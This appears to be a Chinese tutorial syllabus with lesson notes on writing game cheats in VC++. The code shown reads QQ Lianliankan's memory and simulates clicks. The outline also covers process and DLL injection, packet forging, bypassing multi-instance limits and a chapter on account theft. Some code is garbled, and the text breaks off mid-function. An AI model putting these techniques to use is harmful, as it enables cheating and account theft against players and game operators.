课程分四个大章节
初级篇,中级篇,进阶篇,高级篇
初级篇内容:编写一个完整的,简单的外挂
C++的数据类型:Byte,Word,DWORD,int,float
API函数的调mouse_event,GetWindowRect,SetCursorPos,FindWindow,SendMessage)
CE5.4工具的使用方法
中级篇内容:调试工具的使用技巧,功能CALL的概念
调试工具OD1.1的使用技巧(如硬件断点,条件断点,内存断点。
常用汇编指令与对应高级语言的转换。
游戏功能CALL概念
找第一个功能CALL
外挂框架的构建(通用)
进阶篇内容:分析游戏内部数据,分析常用功能CALL
游戏数据实践找各种功能CALL(如打怪,选怪,物品使用,技能栏之类)及相应的代码编写
高级篇内容:编写完整外挂
完成一个相对完整的外挂,实现 自动挂机,打怪,存放物品之类的功能
1 入门篇.
1.1、一个最简单的外挂
1.1.1、游戏窗口数据分析(SPY++) --------------------10
a、取得窗口相对坐标
b、读出游戏窗口信息GetWindowRect
c、移动鼠标指针SetCursorPos
1.1.2 用VC++写个最简单的外挂(实现游戏开局)--- 12
a、鼠拟鼠标单击mouse_event
b、鼠标指针移动还原
c、集成到startgame函数里
1.2、用CE查找棋盘数据 ------------------------14
1.2.1、CE中的数据类型
a、数据类型:Bit,Byte,Word,Dword,float,double
b、用CE查找出坐位号;
c、保存分析数据
1.2.2、编程读出坐位号; --------------------------- 15
a、远程读取进程数据
b、打开远程进程
c、读取远程进程数据
1.2.3、用CE查出棋盘基址;---------------------------16
a、找棋盘数据基址
b、分析棋盘数据结构
1.2.4、读出当前棋盘数据 --------------------------17
a、编程读出棋盘数据
b、棋盘数据显示出来
1.3、用模拟技术编制外挂 -------------------------------18
1.3.1 分析棋子与棋盘坐标关系
a、鼠标软件模拟,函数SendMessage
b、分析窗口内棋子相对坐标X,Y
c、软件模拟点击棋盘坐标x,y处的棋子
1.3.2 消掉一对棋子的算法框架 -------------------- 20
a、遍历棋盘同类型棋子配对
b、构建算法框架
1.3.3 (Check2p)大致框架(算法核心)---------------21
a、在这一对棋子间找相通路径的原理
b、(Check2p函数)框架代码
c、(CheckLine函数)检测2点是否有连通.
1.3.4 CheckLine实现 23
a、CheckLine函数实现
b、Check2p核心代码架构
1.3.5 Check2p完整代码实现 ----------------------25
a、完整的Ceheck2p代码解析
b、完善CheckLine函数
1.3.6 Click2p函数实现,单消棋子功能实现 --------33
a、完成Click2p函数
b、单消一对棋子的实现
c、修改ClearPair函数
1.3.7 挂机/秒杀/----------------------------------35
a、自动开局
b、挂机下棋
1.3.8 游戏外挂界面美化---------------------------38
a、添加进度条
b、界面调整
c、Slider控件属性设置
1.3.9 倒计时与棋子数(基址查找)--------------------40
a、查找棋子数
b、查找倒计时
c、开局标志
1.4 编写完整外挂 --------------------------------40
1.4.1 优化自动开局函数StartGame
a、让游戏窗口高高在上
b、优化开局函数
1.4.2 去掉游戏倒计时限制 ---------------------- 42
a、找到计时代码
b、动态修改游戏代码(OD使用初探)
c、去掉计时限制
1.4.3 编写完整外挂 --------------------------------44
a、功能测试
b、修改完善外挂
c、读出当前棋子数
d、秒杀实现
1.4.4 初级篇小结 ----------------------------------46
a、游戏分析小结
b、编程小结
2 中级篇 以XX3D游戏为例
2.1、分析前的准备..CALL简介:---------------------------49
2.1.1、CALL的概念(远程调用CALL)
a、写个调用示例(假想游戏客户端)
b、用OD找CALL,初探(用OD找出我们自己写的CALL)
c、代码注入器,远程CALL调用
2.1.2、远程CALL调用代码实现-------------------------51
a、CreateRemoteThread API函数
b、无参数的远程CALL调用(代码实现)
2.1.3、调试工具OD简介(人物角色)血值,魔力值,坐标偏移;53
a、CE找出当前血值偏移
b、OD 分析出魔力值,坐标偏移
c、导出游戏关键代码
2.1.4、游戏基址概念;---------------------------------54
a、基址+偏移 概念
b、读写内存函数 参数简介
c、编程实现读出(血值,魔力值)
2.1.5、常用汇编指令详解-------------------------56
a、Mov指令的几种形式
b、汇编指与高级语言的转换
c、push指令
2.1.6、内联汇编编程实例-------------------------58
a、加法add
b、减法sub
c、纯汇编调用函数CALL(参数的传递)
d、堆栈平衡
2.2、技能栏使用-游戏分析利器OD(OllyDbg)
2.2.1、吃金创药CALL---------------------------59
a、CE工具使用技巧
b、OD断点F2
c、分析CALL的参数
d、代码注入器测试CALL
2.2.2、编写自己的CALL测试代码61
a、远程分配内存空间VirtualAllocEx
b、向游戏进程注入自己代码
c、远程调用《吃金创药》
2.3、DLL外挂框架构建
2.3.1、DLL动态链接库构建,与调用 ----------------62
a、建立MFC动态链接库dll
b、EXE程序中调用DLL函数
2.3.2、API与回调函数64
a、键盘勾子回调函数keyProc
b、安装函数SetupFun
c、注入DLL至游戏进程空间
2.3.3、DLL中构建窗口 ------------------------------66
a、DLL中插入窗口资源
b、在游戏内创建DLL窗口
c、DLL内CALL代码书写(以吃红药为例)
2.4、选怪功能实现
2.4.1、找怪物列表基址---------------------------------68
a、选定怪ID
b、怪物数组基址
c、怪物数组大小
2.4.2、分析怪对象属性---------------------------------70
a、怪对象ID
b、怪与玩家距离
c、怪物死亡状态
2.4.3、遍历怪物列表 -----------------------------71
a、选怪关键代码
b、定位一个怪对象
c、选怪功能实现
2.4.4、选怪功能优化----------------------------------73
a、OD分析选怪功能对应代码
b、写测试代码让选定怪物血条正确显示
c、集成选怪函数到SelMon()
2.5、用OD分析游戏功能CALL.《XXXXXX》为例:主要是找CALL
2.5.1、普通攻击CALL关键代码分析75
a、更新游戏选怪基址
b、分析攻击CALL关键代码
c、汇编指令与应高级语言对照翻译
d、编程测试
2.5.2、挂机打怪功能------------------------------------75
1、更新选怪CALL地址
2、优化代码结构
3、自动选怪代码编写
4、自动打怪代码编写
5、代码测试
2.5.3、物品背包数组基址+偏移分析(CE+OD)--------------79
a、确定突破口
b、回溯基址
c、用OD验证
d、推导出基址+偏移公式
2.5.4 、使用指定物品 UseGoods(int index=0);-------------80
a、算法原理
b、返回物品在背包中的下标 int GetGoodsIndex(char* name);
c、useGoods(GetGoodsIndex("金创药(小)");
2.5.5、TabCtrl控件的使用(VC++基础好的可跳过)-----------------84
a、m_tab.InsertItem
b、m_tab.GetCurSel()
c、Create(IDD_PAG1,GetDlgItem(IDC_TAB))
2.5.6、TabCtrl控件BUG修证(VC++基础好的可跳过)---------------85
a、修证乱码
b、修证对齐
c、局部美化(位置大小调整)
2.5.7、捡物功能分析实现---------------------------------86
a、捡物功能CALL分析
b、捡物CALL参数分析
c、找出所有动作CALL(打坐/普攻/捡物/交易/组队/走跑切换....)
d、测试及封装到pickgoods()函数
2.5.8: F1-F10技能数组分析-------------------------------88
a、F1-F10技能栏数组(基址+偏移)
b、F1-F10功能调用核心代码分析
2.5.9、F1-F10功能CALL---------------------------------90
a、找出真的功能CALL
b、F1-F10功能CALL参数分析
c、F1-F10功能CALL测试(集成功能至GameProc.h)
3、进阶篇
主要讲功能CALL的参数分析
汇编浮点指令/浮点运行/浮点数整数转换/汇编里的指针
3.1.1、喊话功能CALL地址 -------------------------------93
a、找喊话内容地址
b、分析出关键CALL
c、测试关键CALL
3.1.2、喊话功能VC++实现------------------------------------94
a、分析喊话CALL参数基址+偏移
b、汇编指令lea
c、字串操作REPNZ/REPNE与SCAS
d、V++代码实现
3.2.1、走路相关数据分析(为分析走路/寻路CALL做准备)----------97
a、查找当前角色坐标(xhy)
b、查找目的地坐标(xhy)偏移+基址
c、找出相关CALL
3.2.2、走路功能CALL及相关分析-------------------------------98
a、隐藏的push指令
b、测试走路CALL
c、确定功能CALL及参数
3.2.3、对找到的几个疑是CALL进行测试---------------------------100
a、分析出疑是CALL相关参数
b、对找到的CALL进行逐一测试
c、确定真正的走路CALL
3.2.4、人物走跑站状态开关分析---------------------------------102
a、走路CALL 状态开关分析
b、分析状态开关 基址+偏移
c、分析走路目的地址相关基址+偏移
3.2.5、利用分析数据 实现走路/寻路---------------------------104
a、走路功能代码实现
b、测试
c、封装到walk(x,y)
d、瞬移(穿墙)
3.3、 怪物过滤
3.3.1、怪物列表关键代码分析 ------------------------- 105
a、怪物列表(分析原理)
b、回溯怪物列表基址+偏移
c、取得怪物对象的公式
3.3.2、怪物属性分析 -----------------------------------107
a、怪物名
b、怪物血量
c、怪物ID
d、怪物与玩家距离
e、提取特征码
3.3.3、怪物过滤的编写代码 ------------------------108
a、读出怪物列表
b、过滤掉指定怪物
c、选定特定怪物
d、过滤打怪测试
e、选中最近怪物
3.4、 物品过滤
3.4.1、物品属性分析 ---------------------------------111
a、物品ID
b、物品对象
c、物品属性分析
3.4.2、物品过滤(编程读出物品列表数据)------------------112
a、读出物品列表
b、条件判断是否捡物(距离,物品名)
c、显示出提示信息
3.4.3、捡物过滤 --------------------------------------113
a、分析捡物深层CALL
b、PickID(物品ID);
c、捡物过滤
d、捡物范围控制
3.4.4、游戏多开实现------------------------------------116
a、游戏防止多开的原理
b、找出本游戏多开的方法
c、测试验证
3.5、 组队相关
3.5.1、 选定指定角色------------------------------118
a、多开BUG修证
b、分析玩家属性
c、遍历玩家列表
d、选定指定玩家角色原理
e、int SelPlayEr(pchar 玩家名);
3.5.2、计算玩家间的距离(已知坐标)----------------120
a、坐标系内的点1与点2
b、2点间的距离计算公式
c、准备知识
d、planRange(int p1,int p2)函数构建
3.5.3、 组队功能123
a、更新组队动作CALL
b、选定指定玩家
c、邀请指定玩家加入队伍int Invite(char* playName);
3.5.4、 离队功能 ------------------------------124
a、分析离队动作
b、逆向分析离队代码
c、初识封包
d、Rep stos [edi]
e、内存中的数据与 byte,int的对应关系
f、封装离队函数void exitTeam();
3.6、售物/购物(封包的世界)
3.6.1、售物功能封包分析---------------------------126
1、封包回溯,找未加密的封包
2、确家关键CALL
3、分析封包(物品数量,类型,位置)
4、功能测试SellGoods函数构建
3.6.2 售物封包参数来源分析----------------------128
1、数量分析
2、出售物品类型分析
3、出售物品在背包里的格数
4、各种数据的来源
3.6.3、编程实现出售背包指定物品-----------------132
1、遍历背包指定物品
2、出售背包第一格物品
3、出售背包第N格物品
3.6.4、完善售物功能----------------------------134
1、构建函数int FindIndex(char* name);
FindIndex//用来查询指定物品名name在背包中的位置
2、垃圾物品清单
3、遍历出售所有垃圾物品SellGoods
4、移植函数到Gameproc.h
3.6.5、打开NPC购物/售物对话框-------------------137
1、打开NPC对话
2、打开NPC(买进/卖出)窗口
3、封装到int OpenNpc_buysell();测试
3.6.6、购物功能封包分析------------------------140
1、封包回溯,找未加密的封包
2、确家关键CALL
3、分析封包
4、数量分析
5、出售物品类型分析
6、功能测试
3.7、 摆摊.开店
3.7.1 开店封包分析------------------------------142
a、店名分析
b、封包参数分析
c、为TAB选项卡2 添加内容
d、不同CPP之间共享函数及变量的方法
d、写申请开店代码测试
3.7.2 开店封包(挂店物品分析)------------------145
a、分析封包
b、封包出售物品的格式分析
c、写代码测试
4、高级篇
4.0、编写相对完整的外挂 ------------------------149
4.0.1、窗口界面整理
a、常规选项卡
b、保护选项卡
c、捡物选项卡
d、喊话选项卡
4.0.2、常规选项卡-自动打怪函数构建-------------154
a、关联变量
b、选怪函数优化
c、共享变量 extern
d、算法设计
e、功能测试
4.0.3、保护选项卡-自动补红补蓝函数构建----------159
a、402中的BUG修整
b、算法设计
c、编写代码
d、功能测试
4.0.4、捡物选项卡-自动捡物函数构建--------------164
a、过滤垃圾物品-不捡垃圾列表里的物品
b、算法设计
c、编写代码
d、功能测试
4.0.5、喊话选项卡-自动喊话设置------------------168
a、关联变量
b、喊话功能算法设计
c、编写代码
d、功能测试
4.1、游戏更新后的外挂更新 ------------------------174
4.2、脚本功能-------------------------------------175
4.3、盗号的实现 --------------------------------180
初级篇1.1.1教学目标:模拟鼠标操作
1.1.1、游戏数据分析(SPY++)
a、取得窗口相对坐标
b、读出游戏窗口信息GetWindowRect
c、移动鼠标指针SetCursorPos
HWND FindWindow(
LPCTSTR lpClassName, //窗口类名
LPCTSTR lpWindowName //窗口标题
);
教学过程:
取游戏标题:QQ游戏 - 连连看角色版
取开局所在坐标:x=655;y=577 //lparam 0x0241028f
拦截消息:WM_LBUTTONDOWN,WM_LBUTTONUP
API-FindWindow(NULL,"QQ游戏 - 连连看角色版");
//
FindWindow,GetWindowRect,SetCursorPos
////////////////////////////////////
首先还是要用SPY查找游戏窗口,这里用到的是中文版,用”查找窗口”找到游戏标题: “QQ游戏 - 连连看角色版”,再次用查找窗口功能,这次选择”消息”,用来查找鼠标指向开始按钮的消息位置.先让消息停下来,这次选择消息的类型WM_LBUTTONDOWN和WM_LBUTTONUP,找到鼠标点击位置取开局所在坐标:x=655;y=577 //lparam 0x0241028f
下面打开VC,新建-工程-MFC EXE-工程名是LLKWG,然后选择基本对话框,完成即可
还要在编辑框中关联变量,建立类向导
在游戏开局按钮输入代码
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CLlk_wgDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
HWND gameh;//游戏窗口句柄
RECT r1; // RECT结构表示一个矩形区域
void CLlk_wgDlg::OnStartGame()
{
// TODO: Add your control notification handler code here
gameh=::FindWindow(NULL,"QQ游戏 - 连连看角色版");//获取游戏窗口句柄
::GetWindowRect(gameh,&r1); //这里取坐标, 双冒号是全局的意思
this->m_x=r1.left;this->m_y=r1.top;//读出窗口左上角坐标, this是关联变量
UpdateData(false); //显示到编辑框
//设置鼠标指针位置 取开局所在坐标:x=655;y=577 //lparam 0x0241028f
SetCursorPos(655+r1.left,577+r1.top);//当前窗口坐标+开局按钮坐标
}
1.1.2 用VC++写个最简单的外挂(实现游戏开局)
a、鼠拟鼠标单击mouse_event
b、鼠标指针移动还原
c、集成到startgame函数里
教学过程:
//模拟鼠标的 单击(鼠标按下/鼠标抬起)
//MOUSEEVENTF_LEFTDOWN Specifies that the left button is down.
//MOUSEEVENTF_LEFTUP
//鼠标在当前位置按下
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
//鼠标在当前位置抬起
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
小结:
mouse_event,Sleep,SetCursorPos
///////////////
这次用到了鼠标点击的函数mouse_event鼠标硬件模拟,如果调用不成功则延时一下Sleep (200),然后再将鼠标移回原位SetCursorPos这个是位置设置函数
调用成功后,将函数放在一个.h头文件里,方便以后调用.新建 c/c++ Header File,文件名GameProc
#include "stdafx.h"
//游戏 功能函数
HWND gameh;
RECT r1;
POINT p;//x,y
void startGame()
{
// TODO: Add your control notification handler code here
//获取游戏窗口句柄
gameh=::FindWindow(NULL,"QQ游戏 - 连连看角色版");
::GetWindowRect(gameh,&r1);
//保存当前鼠标指针
//取得当前鼠标位置
GetCursorPos(&p);
//设置鼠标指针位置 取开局所在坐标:x=655;y=577 //lparam 0x0241028f
SetCursorPos(655+r1.left,577+r1.top);
//模拟鼠标的 单击(鼠标按下/鼠标抬起)
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); //鼠标在当前位置按下
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); //鼠标在当前位置抬起
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(200);//过一段时间 再执行后边的代码
SetCursorPos(p.x,p.y); //还原鼠标位置
}
当然还要将这个.h文件包涵进主函数里
#include "stdafx.h"
#include "llk_wg.h"
#include "llk_wgDlg.h"
#include "GameProc.h"
然后这样调用
void CLlk_wgDlg::OnStartGame()
{
startGame();
}
今天我们要一起学习的是1.2.1
教学目标:
1.2.1、CE中的数据类型
a、数据类型:Bit,Byte,Word,Dword,float,double
b、用CE查找出坐位号;
c、保存分析数据
教学过程:
a、数据类型:Bit,Byte,Word,Dword,float,double
C++数据类型
bit/位 1位 取值范围:0..1
byte(字节)=0..11111111(2进制)=0..255(10进制)=0..FF (16进制)
WORD(单字)=2Byte=0..65535(10进制) =0..FFFF (16进制)
DWORD(双字)=2WORD=4Byte=0..4294967295 =0..FFFFFFFF
float(浮点数) double(双浮点数)
int(4字节),long(4字节),WORD,DWORD(4字节),float(4字节),double(8字节)
b、用CE查找出坐位号;
打开 QQ游戏 连连看
猜测 0..5,1..6,顺时针
0..7
坐位号地址:0x00B8D8E0
///////////////////////////////////
首先讲了关于十六进制/十进制/八进制/二进制/字节/双字节等基础知识
因为游戏当中不同的座位号数据不一样,所以首先要找到座位号.
用CE搜索游戏是字节型来查找游戏的座位号,一桌是6个位置,猜测是从0到5,上面是0,顺时针方向加1.所以我们更换座位号后再继续用CE搜索相应的位置号,注意附加的进程可不要出错哦.QQ连连看的进程名是KYODAI~1.EXE,可以用任务管理器找出.
找到后将CE的数据保存一下,方便下次调用.
这节课主要讲了字节的基础知识和CE的基本用法
今天我们要一起学习的是1.2.2
教学目标:
1.2.2、编程读出坐位号;
a、远程读取进程数据
b、打开远程进程
c、读取远程进程数据
教学过程:
API函数介绍
1、FindWindow //获取窗口句柄
2、GetWindowThreadProcessId //获取窗口进程ID
3、OpenProcess //打开指定进程
4、ReadProcessMemory //读指定进程 内存数据
游戏进程名:KYODAI~1.EXE
游戏窗口标题:"QQ游戏 - 连连看角色版"
HWND FindWindow(
LPCTSTR lpClassName, // NULL 忽略
LPCTSTR lpWindowName // 窗口标题
);
BOOL ReadProcessMemory(
HANDLE hProcess, // 进程句柄
LPCVOID lpBaseAddress,
// 基址0x00B8D8E0
LPVOID lpBuffer, // 存放数据缓冲区
DWORD nSize, // 要读取数据的字节数
LPDWORD lpNumberOfBytesRead
// 实际读取的字节数
);
//////////////////////
这次需要几个函数来取得窗口/句柄/进程/内存等信息
几个函数要联合运用,前一个函数的返回值就是后一个函数的参数
在VC代码里添加座位号的变量m_Num 类型是UINT,新增一个按钮,添加如下代码
const PCHAR gameCaption="QQ游戏 - 连连看角色版";
void CLlk_wgDlg::OnButton2()
{
// 游戏窗口标题:"QQ游戏 - 连连看角色版"
// 1、FindWindow //获取窗口句柄
//2、GetWindowThreadProcessId //获取窗口进程ID
//3、OpenProcess //打开指定进程
//4、ReadProcessMemory //读指定进程 内存数据
//获取窗口句柄
HWND gameh=::FindWindow(NULL,gameCaption);
//获取窗口进程ID
DWORD processid;
::GetWindowThreadProcessId(gameh,&processid);
//打开指定进程
HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
//读指定进程 内存数据
DWORD byread;
LPCVOID pbase=(LPCVOID)0x00B8D8E0;//读取当前的指针,强制转换为LPCVOID指针
LPVOID nbuffer=(LPVOID)&m_num; //保存当前的指针,强制转换为LPVOID指针
::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);
UpdateData(false); //更新变量的值到 编辑框
}
今天我们要一起学习的是1.2.3
教学目标:
1.2.3、用CE查出棋盘基址;
a、找棋盘数据基址
b、分析棋盘数据结构
19宽*11高 :数组 byte a[19][11]
byte 0..255 // 00..FF
0x0012A508 //棋盘数组基址
db 地址 // 以字节方式 显示指定地址内存里的数据
////////////////////////
前面座位号的基址已经找出了,所以这次要找出棋盘的数据,
要先查一下棋盘的2维排列,是19宽*11高,用QQ截图查找一下长和宽,然后计算出每一格的大小.猜测棋盘的棋子也是字节的,我们查找左上角第一棋子的数据.
用CE查找,如果有棋子就是大于0,变化了就再搜索更改的数值,没有棋子就是0,多次查找就找到第一棋子的地址了. 自己找个座位坐下来,加个密码不让别人进,多按几次"练习"按钮,这样棋盘变化就方便找棋子数据了.老师也查找出错了,再来一次吧.
找到后用OD加载一下看看,这样的数据排序看的比较清楚
这节课讲解了CE查找的方法
今天我们要一起学习的是1.2.4
教学目标:
1.2.4、读出当前棋盘数据
a、编程读出棋盘数据
b、棋盘数据显示出来
参考章节:1.2.3,1.2.2
19宽*11高 :数组 byte a[11][19] // a[y][x]
byte 0..255 // 00..FF
0x0012A508 //棋盘数组基址
db 地址 // 以字节方式 显示指定地址内存里的数据
itoa(要转换的整数,存放字符数组,要转换的字符进制)
for (int y=0;y<=10;y++) //y++ y:=Y+1;
////////////////////////////////////
添加了一个编辑框用来显示棋盘数据,再关联一个变量m_Chessdata Cstring类型
增加”更新棋盘数据”按钮,添加代码如下:
byte chessdata[11][19];//a[y][x]
void CLlk_wgDlg::OnBtnReadchess()
{
// TODO: Add your control notification handler code here
//获取窗口句柄
HWND gameh=::FindWindow(NULL,gameCaption);
//获取窗口进程ID
DWORD processid;
::GetWindowThreadProcessId(gameh,&processid);
//打开指定进程
HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
//读指定进程 内存数据
DWORD byread;
LPCVOID pbase=(LPCVOID)0x0012A508; //棋盘数据基址
LPVOID nbuffer=(LPVOID)&chessdata; //存放棋盘数据
::ReadProcessMemory(processH,pbase,nbuffer,11*19,&byread);
char buf[11]; ///显示棋盘数据
m_chessdata=""; //先清空编辑
for (int y=0;y<=10;y++)//一列一列的读,FOR循环:Y=0是循环的起始值,Y<=10是终止值,Y++是每次Y+1
{
for (int x=0;x<=18;x++) //一行一行的读
{
itoa(chessdata[y][x],buf,16); //itoa整型转换成字串
m_chessdata+=buf;
m_chessdata+=" ";
}
m_chessdata+=" "; //换行
}
UpdateData(false); //更新数据
}
今天我们要一起学习的是1.3.1
教学目标:
1.3.1 分析棋子与棋盘坐标关系
a、鼠标软件模拟,函数SendMessage
b、分析窗口内棋子相对坐标X,Y
c、软件模拟点击棋盘坐标x,y处的棋子
1、SendMessage;
SendMessage(hwnd,WM_LBUTTOMDOWN,0,YX);//hwnd=FindWindow(NULL,游戏标题);
SendMessage(hwnd,WM_LBUTTOMUP,0,YX); //PostMessage/mouse_event
2、获取棋盘左上角棋盘第一格坐标.
棋盘第一格 坐标 x=21,y=192
int x=22,y=187;
hwnd=FindWindow(NULL,游戏标题);
SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x);//
SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x); //
3、计算棋盘的 宽度*高度
589*385
棋盘第一格
坐标 x=21,y=192
31*35 棋子宽度,高度
SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x+31*2);//
SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x); //
//SendMessage 鼠标模拟,//WM_LBUTTONDOWN 鼠标左键按下 //WM_LBUTTONUP 鼠标左键抬起
//<< 左移指令
//////////////////////////
前面都是直接移动了鼠标,这次要改发送鼠标消息了,这样鼠标不移动也会点击游戏的开始按钮.SendMessage的参数是相对坐标, mouse_event的参数是绝对坐标
再次打开SPY++,找到棋盘第一格的位置,X=21,Y=187
新增一个按钮”点击棋盘第一格”方便测试,添加代码如下:
void CLlk_wgDlg::OnButton3() //按钮函数
{
int x=22,y=187; //定义座标点
HWND hwnd=::FindWindow(NULL,gameCaption); //查找窗口
int lparam; //定义座标点变量
lparam=(y<<16)+x+31*2; //表示指定格,Y<<16是左移16位,发消息用的Y座标点
::SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//鼠标按下消息
::SendMessage(hwnd,WM_LBUTTONUP,0,lparam); //鼠标抬起消息
}
用QQ抓图,查找棋子格子数大小,31*35的大小,以便计算出所有格子的座标点.
今天我们要一起学习的是1.3.2
教学目标:
1.3.2 消掉一对棋子的算法框架
a、遍历棋盘同类型棋子配对
b、构建算法框架
//
//遍历整个 棋盘 找相同一对棋子
//检测这一对棋子是否 可以消除
//如果 可以消除 ,则模拟鼠标点击这2点
最多一条 三条 连线 能够形式一条 路线 就表示可消除
////////////////////////////
更改”点击棋盘第一格”代码如下:
void ClearPiar() //消除一对棋子
{
//读出棋盘数据至chessdata 11,19
updatdChess();
//遍历整个棋盘 找出相同类型 一对棋子
POINT p1,p2;//定义两个点,座标型
int x1,y1,x2,y2;//定义座标点
for (y1=0;y1<11;y1++)//点1循环,从Y列开始
for (x1=0;x1<19;x1++)//点2循环,从X行开始
{ for (y2=y1;y2<11;y2++)//这是点2的Y循环,由Y1开始
for (x2=x1;x2<19;x2++)//这是点2的X循环,由X1开始
// 棋子1与棋子2 类型是否相同, 要求点1与点2 相等则假,就是座标不能相同.
if ((chessdata[y1][x1]==chessdata[y2][x2]) &&(!((x1==x2)&&(y1==y2))) )
{
p1.x=x1;p1.y=y1;
p2.x=x2;p2.y=y2;
//检测 相同的2个棋子是否可消掉
if ( check2p(p1,p2))//如果可消除 则返回真
{
//click2p 鼠标模拟 点击 p1,p2
click2p(p1,p2);
}
}
}
}
这节课讲的是VC编程,需要对逻辑运算有一定的理解, 要检测两点是否相同,同时要避免在同一点,还要检测两点是否可消除,检测的函数check2p先定义了一个空的,下节课再添加代码.模拟鼠标点击的函数click2p本节课也没有添加代码.
今天我们要一起学习的是1.3.2
教学目标:
1.3.3 (Check2p)大致框架(算法核心)
a、在这一对棋子间找相通路径的原理
b、(Check2p函数)框架代码
c、(CheckLine函数)检测2点是否有连通
LineNull(p1,p2); //是否在棋盘上 的2个点之前是否有一条全为0的直线,如有true,否则false
1、剪贴游戏图;
Y坐标相同的情况下 p1,p2
lineNull(p1.right,p2.left) //可消除
X坐标相同的情况下 p1,p2
LineNull(p1.down,p2.up) //可消除
X与Y坐标都不相情况下 p1,p2
lineNll(p1.down,pa),LineNull(p2.down,pb),LineNull(pa,pb)
//可消除
////////////////////////////////////
现在就要来分析游戏了,连连看大家都知道,是需要判断两点间是否可以连接的,比如有直连,有一折后的连接,最多是二折后的连接.
如果是直连的话,就要判断中间是否所有的数据都为0,判断的思路很主要,一定要搞清楚.而有折的连接则需要多条直线,最多是三条直线,这个需要遍历,不断的向下判断.
将VC代码打开,插入一个类Generic Class,名称为CChessPoint
添加代码如下:
class CChessPoint
{
public:
POINT p;//临时点
POINT up;//上点
POINT down;//下点
POINT left;//左点
POINT right;//右点
CChessPoint(POINT pxy); //构造函数
virtual ~CChessPoint();
};
还要在Cchesspoint.cpp实现部分修改代码
CChessPoint::CChessPoint(POINT pxy)
{ up=pxy;down=pxy;left=pxy;right=pxy;//将座标初始化
//向上下左右扩展
p=pxy;
up.y=pxy.y-1;
down.y=pxy.y+1;
left.x=pxy.x-1;
right.x=pxy.x+1;
//这样处理完之后每个棋子就包涵了上下左右中五个点的属性
}
CChessPoint::~CChessPoint()
{
}
在按钮部分增加代码如下:
bool lineNull(POINT p1,POINT p2)
{
return true;//先写个空的,下节课继续.
}
bool check2p(POINT p1,POINT p2)
{ //检测 p1,p2 2个棋子 是否可以消除
// Y坐标相同的情况下 p1,p2
//lineNull(p1.right,p2.left) //可消除
if (p1.y==p2.y) //如果列相同则执行
{ CChessPoint pa(p1),pb(p2);//先建立类,初始化两点
if (lineNull(pa.down,pb.up)) return true;//先将两个点类化, 可消除返回真
}
//X坐标相同的情况下 p1,p2
//LineNull(p1.down,p2.up) //可消除
if (p1.x==p2.x) //如果行相同则执行此句
{ CChessPoint pa(p1),pb(p2);
if (lineNull(pa.down,pb.up)) return true;
}
//X与Y坐标都不相情况下 p1,p2
//lineNull(p1.down,pa),LineNull(p2.down,pb),LineNull(pa,pb)
//可消除
return true;
}
这节讲VC,比较难理解,很多地方与DELPHI不同,老师写了很多代码,我不太懂,是不是代码写的太啰嗦了?还是我水平太差.我再继续学学看,如果不懂的太多,就要参考别的VC教程一起学习了.这节课代码还没有写完,时间已经到了,下节继续.
今天我们要一起学习的是1.3.4
教学目标:
1.3.4 CheckLine实现
a、CheckLine函数实现
b、Check2p核心代码架构
bool CheckLine(POINT p1;POINT p2)
{
//x坐标相同
// p1.y to p2.y
//Y坐标相同
//p1.x to p2.x
}
///////////////////////////////
首先还是要添加修改两点间是直线的判断函数
bool CheckLine(POINT p1,POINT p2) //检测2点间 是否连通(存在一条全为0的直线路径)
{
int x,y;
if (p1.x==p2.x)//两点X坐标相同
{
for (y=p1.y;y<=p2.y;y++)
{
//假如ChessData[y][p1.x] Y的某一个点大于0则说明有棋子,就返回 false;
if (chessdata[y][p1.x]>0) return false;
}
}
else if (p1.y==p2.y)
{
for (x=p1.x;x<=p2.x;x++)
{//假如ChessData[p1.y][x] X某一点有棋子则大于0返回 false;
if (chessdata[p1.y][x]>0) return false;
}
}
return true;
}
再添加除了直线的两点函数检测的代码
bool check2p(POINT p1,POINT p2)
{
CChessPoint pa(p1),pb(p2);//初始化棋子类
POINT p11,p22;//新建两个变量指针,方便调用
int x,y;//新建两个整型变量,方便调用
//检测 p1,p2 2个棋子 是否可以消除
if (p1.y==p2.y) // Y坐标相同的情况下 p1,p2
{
if (CheckLine(pa.down,pb.up)) return true;//找到相同路线
//pa,pb ; pa,p_1;pb,p_2;
p11=p1;p22=p2;
for (y=0;y<11;y++)
{
p11.y=p22.y=y;
//找到转折的路线
if heckLine(p11,p22)&&CheckLine(pa.up,p11)&&CheckLine(pb.up,p22))
return true;
}
}
本节全是在编写VC代码,思考如何判断几条连线,代码也没写完,也没测试,不知道对不对,时间到了,下节课继续写.
今天我们要一起学习的是1.3.5
教学目标:
1.3.5 Check2p完整代码实现
a、完整的Ceheck2p代码解析
b、完善CheckLine函数
Check2P实现原理;
分类:
Y坐标相同:pa=p1.left,pb=p2.right// pa,pb之间是否连通 则消除
X坐标相同: pa=p1.down,pb=p2.up //pa,pb之间是否连通 则消除
X,Y坐标都不相同
pa,pb// p1,pa// pb,p2 这三线路 都连通 则可消除
p1,pa,//pa,pb//p2,pb 这三线路 都连通 则可消除
/////////////////////
本节课老师讲课用了FLASH工具,比起之前用画图要强的多,使我一下子就理解了这几个点之间的关系.
比如在两点可以直连的情况下,第一个棋子是P1,第二个棋子是P2,第一个棋子与第二个棋子之间的点是PA到PB,这两个点要不断的循环,查找其中是否为空,如果为空则可以消除.当然这是横向的连接,同时还有竖向的连接
Y坐标相同:pa=p1.left,pb=p2.right// pa,pb之间是否连通 则消除
.
当然更多的是折线的连接
X,Y坐标都不相同
pa,pb// p1,pa// pb,p2 这三线路 都连通 则可消除
p1,pa,//pa,pb//p2,pb 这三线路 都连通 则可消除
老师已经写好了三个函数的代码
bool CheckLine( POINT p1,POINT p2)
{
